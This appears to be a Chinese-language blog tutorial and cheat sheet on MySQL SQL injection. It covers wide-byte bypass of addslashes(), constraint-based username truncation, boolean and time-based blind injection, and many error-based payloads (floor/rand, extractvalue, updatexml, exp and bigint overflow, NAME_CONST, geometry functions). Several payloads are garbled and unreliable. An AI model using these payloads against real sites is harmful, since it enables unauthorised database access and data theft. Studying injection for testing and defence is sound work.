SQL注入两大类:
- 字符型注入
例如:http://XXX.com/sql/id=ok ,这里页面显示’ok’时,即为字符型型注入 - 数字型注入:
例如:http://XXX.com/sql/id=1 , 这里的id不需要闭合引号
简单来说,在于有无引号的区别,字符型可以是字符和数字,但是数字型只能是数字宽字节注入
宽字节注入是一个针对GBK的注入
以下是addslashes()函数,此函数为常见防SQL注入的函数
那么绕过的方法有两种: - 例如我们需要 ‘ 进行报错,那么我们前面再次加上\,得出\‘,使其转义,’生效
- '的url编码为%5c%27,如果我们加上%df,得出%df%5c%27,变成運’,在这里需注意的是,我们用到的是gbk格式的url编码,这里因为MySQL使用gbk进行编码的,所以可以达到目的。
基于约束的SQL攻击
适用于以下场景:
对于用户名数据库进行了位数约束,比如限制只能为20位,管理员的用户名为admin,我们不知道密码,那么我们就可以通过写入
1 | admin x,密码:123456 |
这时数据库会将其认为是admin,那么我们就可以通过123456进行登陆。数据库的代码为
1 | insert into user values('','admin x','123456') |
SQL盲注
布尔盲注:
1. left(database(),1) > ‘s’
1 | left()指得到字符串从左算起指定个数的字符 |
2. substr((select database()),1,1) = ‘a’
1 | substr()和substring()实现功能均为截取字符串 |
3. ascii(), ord(), mid()函数
1 | ascii():将字符变为ascii码 |
4. regexp正则注入,like匹配注入
1 | 首先注意的是,此方法不能用做mssql。但是mysql同时支持like和regexp匹配,不过方法不同。 |
具体可查看关于正则表达式详细讲解。
时间盲注:
1. If(ascii(substr(database(),1,1))>115,0,sleep(5))
1 | if():判断然后返回值 |
2. select sleep(find_in_set(mid(user(), 1, 1), ‘a,w,t,r’)); ( user()为root@localhost )
1 | find_in_set():查询str是否在strlist里 |
下图是可被查询到的结果,我们可以看到sleep了一段时间,经测试发现,睡眠时间每次不定,不利于用作真实渗透测试
下图是未被查询到的结果,我们可以看到没有sleep
3. UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M
SG’,’by 5 seconds’)),null) FROM (select database() as t1;
1 | 上面有说到benchmark()函数和encode()函数,下面我们仔细说下 |
1 | SELECT IF( SUBSTRING(current,1,1)=CHAR(119), BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)) , null) FROM (select database() as current) as t1; |
下图是执行次数大小效果的对比
因为不是很建议用上面那个函数,下面列出几种函数(取自《白帽子讲安全》)
报错盲注:
程序将错误信息输出到了页面上,其格式有多种,大体如下(重点讲解Duplicate entry报错,Xpath报错,整形溢出报错)
1.Duplicate entry报错:
1 | Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) |
原理是查询时会建立临时表存储数据,不存在键值就插入,group by使插入前rand()会再执行一次,存在就直接值加1。以上用到几种函数:count(), concat(), floor(),rand(),简单说下:
count() 函数返回与指定条件匹配的行数。
eg:SELECT COUNT(column_name) FROM table_name WHERE condition;concat() 函数将两个或多个表达式加在一起。
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
1 | mysql> select concat('11','22','33'); |
MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL
1 | mysql> select concat('11','22',null); |
floor() 函数返回小于或等于数字的最大整数值。并向下取整排列。
eg:SELECT FLOOR(25.75) AS FloorValue; 结果:25rand() 函数返回 [0,1) 的随机数。
eg:SELECT RAND(); 结果:0.455611560918029等
查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。
查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2。
查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错。
例如通过floor报错,注入语句如下:1
and select 1 from (select count(),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
1 | 最上面那个sql语句可以简化成这个 |
2.Xpath报错(Mysql5.1.5):
以下两个函数都可为xml进行查询修改,最大爆出32位
例如(2)通过ExtractValue报错,注入语句如下:
1 | and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); |
(3)通过UpdateXml报错,注入语句如下:
1 | and 1=(updatexml(1,concat(0x3a,(select user())),1)) |
这里介绍以下updatexml()语法:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
3.exp报错和整形溢出报错(Mysql>5.5.5):
exp(x):计算e的x次方
有两种方法:
1.exp进行报错,原理是Exp()超过710会产生溢出。
1 | eg payload: select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); |
2.bigint溢出报错,原理是将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。
1 | eg payload:!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0 |
点击上面的方法,可查看讲的很不错的文章。
4.数据重复报错(低版本):
通过NAME_CONST报错,注入语句如下:
1 | select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a; |
mysql 重复特性,此处重复了 version,所以报错。
(拿个小本本记下来,因为只搞到version()就比较鸡肋,求大佬解决)
5.其他报错注入:
通过join报错,注入语句如下:
1 | select * from(select * from mysql.user ajoin mysql.user b)c; |
通过GeometryCollection()报错,注入语句如下:
1 | and GeometryCollection(()select *from(select user () )a)b ); |
通过polygon ()报错,注入语句如下:
1 | and polygon (()select * from(select user ())a)b ); |
通过multipoint ()报错,注入语句如下:
1 | and multipoint (()select * from(select user() )a)b ); |
通过multlinestring ()报错,注入语句如下:
1 | and multlinestring (()select * from(selectuser () )a)b ); |
通过multpolygon ()报错,注入语句如下:
1 | and multpolygon (()select * from(selectuser () )a)b ); |
通过linestring ()报错,注入语句如下:
1 | and linestring (()select * from(select user() )a)b ); |